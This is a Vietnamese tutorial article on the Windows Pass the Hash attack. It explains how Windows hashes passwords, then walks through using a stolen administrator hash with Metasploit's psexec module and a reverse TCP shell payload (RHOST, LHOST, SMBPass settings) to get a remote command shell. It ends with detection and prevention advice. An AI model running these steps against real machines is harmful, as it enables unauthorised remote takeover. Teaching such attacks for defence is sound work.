Là một chuyên gia bảo mật, bạn chắc chắn tập trung rất nhiều vào việc bảo đảm cho các chính sách mật khẩu đủ phức tạp nhằm bảo vệ các mật khẩu không bị crack bởi các cá nhân với các ý định hiểm độc. Trước đây Quantrimang.com của chúng tôi đã giới thiệu cho các bạn một bài viết gồm có hai phần giới thiệu về sự phức tạp của mật khẩu Windows và cách chúng có thể bị crack như thế nào: Mật khẩu Windows có thể bị crack như thế nào. Trong bài này chúng tôi đã cung cấp cho các bạn một kiến thức tổng quan về cách các mật khẩu được hash, được lưu và cách kẻ tấn công có thể bẻ khóa các mật khẩu này như thế nào.
Điều gì sẽ xảy ra nếu chúng tôi nói cho bạn rằng với các trường hợp đã cho, thậm chí không cần crack các mật khẩu của bạn mà vẫn có thể tăng quyền truy cập vào hệ thống như thể đang sử dụng username và password của bạn? Không ám chỉ đến một số khai thác 0-day đã được cải tiến hay các mẹo lừa bạn kích vào một liên kết nào đó trong email giả mạo mà nó có thể được thực hiện hết sức đơn giản với kỹ thuật mang tên Pass the Hash. Trong bài viết này, chúng tôi sẽ giới thiệu cho các bạn về kỹ thuật này làm việc như thế nào, minh chứng quá trình được sử dụng để lấy các hash mật khẩu bị đánh cắp và sử dụng chúng thành công mà không cần crack nội dung đã được ẩn giấu của chúng. Một vấn đề bao giờ cũng được nói đến nữa đó là, chúng tôi sẽ giới thiệu một số kỹ thuật phát hiện và phòng chống theo cách có thể ngăn chặn việc bạn trở thành nạn nhân của tấn công này.
Hash mức gói dữ liệu
Bất cứ khi nào bạn tạo một mật khẩu cho một tài khoản nào đó trong Windows, nó sẽ biến đổi mật khẩu đó thành một hash. Một hash là kết quả của quá trình mã hóa được thực hiện bằng cách lấy một chuỗi dữ liệu với kích thước tùy tiện, sau đó thực hiện mã hóa toán học cho chuỗi dữ liệu này, kết quả trả về là một chuỗi với kích thước cố định nào đó. Kết quả cuối cùng thay vì có một mật khẩu “PassWord123”, bạn sẽ có chuỗi mật khẩu “94354877D5B87105D7FEC0F3BF500B33”. Điều này có một số ý nghĩa. Trước tiên, nó có nghĩa rằng mật khẩu của bạn không nằm trên ổ cứng cục bộ được lưu dưới dạng văn bản trong sáng, nơi bất cứ ai cũng có thể truy cập nó, thứ hai là mật khẩu của bạn không được truyền đi qua mạng dưới định dạng văn bản trong sáng khi bạn nhận thực thiết bị khác (chẳng hạn như domain controller). Chúng tôi sẽ không rehash cách các hash được tạo như thế nào trong bài viết này, tuy nhiên nếu bạn muốn xem lại quá trình này làm việc như thế nào, bạn có thể tham khảo lại bài viết về cách crack mật khẩu Windows tại đây.
Khi cố gắng truy cập vào một tài nguyên nào đó trên máy tính được bảo vệ bằng biện pháp nhận thực username và password, bạn sẽ gặp khó khăn về vấn đề nhận thực bởi host. Về cơ bản, bạn cần cung cấp username và password. Khi đánh vào mật khẩu, máy tính của bạn sẽ thực hiện hành động hash trên mật khẩu và đệ trình nó tới host để nó sau đó sẽ được so sánh với cơ sở dữ liệu nhận thực. Nếu kết quả tương xứng, bạn sẽ truy cập thành công.
Hình 1: Cố gắng kết nối dựa trên sự nhận thực thông thường
Giờ đây chúng ta hãy đi xem xét một kịch bản khác. Điều gì sẽ xảy ra khi thiết lập thủ công một kết nối tới host có tài nguyên mà chúng ta muốn truy cập, tuy nhiên thay vì cung cấp cho nó username và password không có đặc quyền, chúng ta cung cấp lại cung cấp username của Administrator và administrator hash mà chúng ta đã đánh cắp? Cần nhớ rằng, tất cả những gì ở đây host quan tâm là việc nhận một hash tương ứng với những gì nó mong đợi. Điều đó có nghĩa rằng bạn không phải thực hiện chức năng hash một chiều trên mật khẩu mà chỉ cần cung cấp hash, đó cũng là những gì cơ bản nhất cho tấn công này.
Hình 2: Pass the hash trực tiếp host đích
Sử dụng Metasploit để Pass the Hash
Chúng tôi đã giới thiệu cho các bạn lý thuyết nằm phía sau tấn công còn giờ đây là lúc thực thi nó. Trong thử nghiệm này, chúng tôi sẽ pass một hash đánh cắp của một người dùng có đặc quyền quản trị viên vào một hệ thống nạn nhân. Để thực hiện nhiệm vụ này, chúng ta cần hai thứ. Đầu tiên, chúng ta cần một hash đánh cắp của người dùng quản trị. Có nhiều phương pháp khác nhau để có thể thu được hash mật khẩu, bạn có thể tham khảo các cách thực hiện tại đây. Cùng với hash đánh cắp, chúng ta cần một copy Metasploit, đây là một công cụ mà chúng ta sẽ sử dụng để thực hiện tấn công này.
Metasploit là một framework dành cho việc thử nghiệm sự thâm nhập (miễn phí) được phát triển bởi HD Moore, hiện nay là của Rapid7. Bạn có thể download Metasploit về máy tại đây.
Một cách khác, bạn có thể download và sử dụng Backtrack 4. BT4 là một phân phối Linux live-CD được thiết kế đặc biệt cho việc hack và test sự thâm nhập đi kèm với vô số công cụ cài đặt và biên dịch trước, trong đó có cả Metasploit. Bạn có thể download BT4 tại đây. Sau khi download về máy, bạn sẽ tìm thấy Metasploit trong thư mục /pentest/exploit/framework3. Các hình ví dụ được sử dụng trong phần còn lại của bài viết này được lấy từ BT4.
Với hash đánh cắp và Metasploit trong tay, chúng ta sẽ bắt đầu chuẩn bị cho việc tấn công. Để bắt đầu, bạn phải khởi chạy giao diện điều khiển Metasploit. Trong BT4, bạn có thể thực hiện bằng cách duyệt đến thư mục/pentest/exploit/framework3 và đánh ./msfconsole.
Hình 3: Khởi chạy giao diện Metasploit
Metasploit là một framework, phụ thuộc vào việc sử dụng các modul khác nhau để thực hiện các hành động của nó. Trong trường hợp này, chúng ta sẽ sử dụng modulpsexec. Psexec là một công cụ rất phổ biến và được sử dụng để thực thi các quá trình trên hệ thống từ xa và redirect đầu ra của các quá trình đó trở lại hệ thống mà bạn đang sử dụng. Để sử dụng modul này, đánh use windows\smb\psexec và nhấnEnter. Shell sẽ nhắc bạn thay đổi sao cho tương ứng với việc sử dụng modul này.
Hình 4: Sử dụng modul psexec
Tiếp đến chúng ta cần thiết lập tải trọng đang phân phối. Metasploit sẽ mở một kết nối cơ bản đến nạn nhân của chúng ta để khi username và hash đã cung cấp cho chúng ta sự nhận thực đúng cách, tải trọng sẽ phát hiện những gì đang được thực thi bằng cách sử dụng psexec. Trong trường hợp này, chúng ta có tất thực hiện tất cả các kiểu ý định xấu đối với nạn nhân thay vì mở một chương trình gì đó. Một trong các phương pháp hiệu quả cho việc thực hiện là sử dụng một TCP shell ngược. Đây là tải trọng sẽ thực thi một instance của cmd.exe và chuyển nó trở lại qua kết nối của chúng ta để từ đó chúng ta có thể truy cập nó từ xa. Để sử dụng tải trọng này, đánh set payload windows/shell_reverse_tcp.
Hình 5: Thiết lập tải trọng cho TCP shell ngược
Để sử dụng modul và tải trọng này, có một vài tùy chọn mà chúng ta cần phải cấu hình. Để thấy các tùy chọn, bạn có thể đánh vào một số tùy chọn được hiển thị và nhấn Enter.
Hình 6: Các tùy chọn có thể cấu hình cho modul và tải trọng hiện hành
Để thiết lập các tùy chọn cần thiết cho công việc của mình, chúng ta cần sử dụng cú pháp “set [option name] [value]”. Các giá trị cần được thiết lập:
- RHOST – Địa chỉ IP của nạn nhân
- SMBPass – Hash đánh cắp của nạn nhân
- SMBUser – Username của nạn nhân
- LHOST – Địa chỉ IP của máy tính đang tấn công của bạn
Trong hầu hết các trường hợp, chỉ có bốn tùy chọn cần được cấu hình, còn các tùy chọn khác có thể để mặc định. Khi cấu hình tất cả các tùy chọn này, đầu ra các tùy chọn sẽ tương đồng như những gì trong hình 7:
Hình 7: Các tùy chọn hoàn chỉnh cho tấn công này
Tại đây, tất cả sự chuẩn bị đã đầy đủ và chúng ta có thể thực thi tấn công. Để thực hiện tấn công, hãy đánh exploit và nhấn Enter. Nếu thành công, bạn sẽ thấy màn hình tương tự như đầu ra hiển thị trong hình 8, một Windows command shell. Lúc này chúng ta có thể điều khiển máy tính mà không cần biết mật khẩu của người dùng quản trị.
Hình 8: Khai thác thành công cho chúng ta một Windows command shell
Phòng chống Pass the Hash
Pass the hash là một hành động rất khó phát hiện và ngăn chặn do bản tính của cách nó khai thác quá trình nhận thực. Có một số thứ bạn có thể thực hiện:
- Kiểm tra hệ thống phát hiện xâm nhập – Từ phối cảnh của một IDS, bạn chắc chắn không thể bắt được tấn công đang thực hiện pass the hash vì nó hầu như giống một chuỗi nhận thực thông thường. Mặc dù vậy vẫn có thể thành công trong việc bắt kẻ tấn công dựa trên các hành động được thực hiện sau khi chúng tăng quyền truy cập. Cho ví dụ, trong kịch bản ví dụ, bạn chắc chắn sẽ không thấy IDS cảnh báo về việc pass của hash đối với máy tính nạn nhân, tuy nhiên bạn sẽ thấy một cảnh báo khi psexec tạo một shell và gửi nó trở lại qua mạng. Điều này cho phép bạn có thể phát hiện tấn công khi xảy ra và đáp trả thích hợp với vụ việc.
- Cách ly các hệ thống nhạy cảm – Tất cả các máy tính đều được cho là có chứa dữ liệu nhạy cảm cần được cách ly trong mạng. Sử dụng cấu hình router và firewall thích hợp bạn có thể hạn chế sự truy cập vào các máy tính chứa dữ liệu nhạy cảm này, chỉ dành cho nó các host tin cậy. Điều này sẽ ngăn chặn được người dùng trên các máy tính khác có thể sử dụng kỹ thuật pass the hash để tăng quyền truy cập vào hệ thống nhạy cảm.
- Nhận thực hai hệ số - Sử dụng mật khẩu là phương pháp nhận thực duy nhất đang trở thành lỗi thời. Để nhận thực người dùng tốt hơn, nó cần phải gồm có hai đến ba hệ số. Các hệ số này là những thứ bạn biết (mật khẩu), thứ gì đó bạn có (thẻ thông minh) và thêm vào đó là một số thứ như (võng mạc, dấu vân tay). Sự kết hợp các yếu tố trên sẽ tránh người dùng có thể nhận thực một hệ thống khi họ chỉ có mật khẩu và hash đánh cắp.
- Hạn chế truy cập quản trị - Càng nhiều tài khoản người dùng có mức truy cập quản trị vào hệ thống mạng, khi đó khả năng các hash của họ bị đánh cắp và được sử dụng để truy cập vào các máy tính với một mức đặc quyền càng cao. Để tránh điều đó, bạn luôn cần thực hiện hành động thẩm định để phát hiện xem mỗi người dùng có truy cập mức quản trị có quả thực cần nó để hạn chế bề mặt tấn công của mình.
Kết luận
Pass the hash là một kỹ thuật rất dễ thực hiện và rất hiểm độc cho nạn nhân. Như những gì bạn đã thấy qua bài này, tất cả những gì cần để thực hiện tấn công này là một cặp công cụ và một chút động cơ, khi đó kẻ tấn công có tất cả những gì hắn cần để làm tê liệt cơ sở hạ tầng của bạn. Hy vọng với sự hiểu biết về tấn công này và một số chiến lược phát hiện cũng như ngăn chặn mà chúng ta đã thảo luận, bạn sẽ chuẩn bị một cách chu đáo hơn để phòng chống và đáp trả với kiểu tấn này.
Không có nhận xét nào:
Đăng nhận xét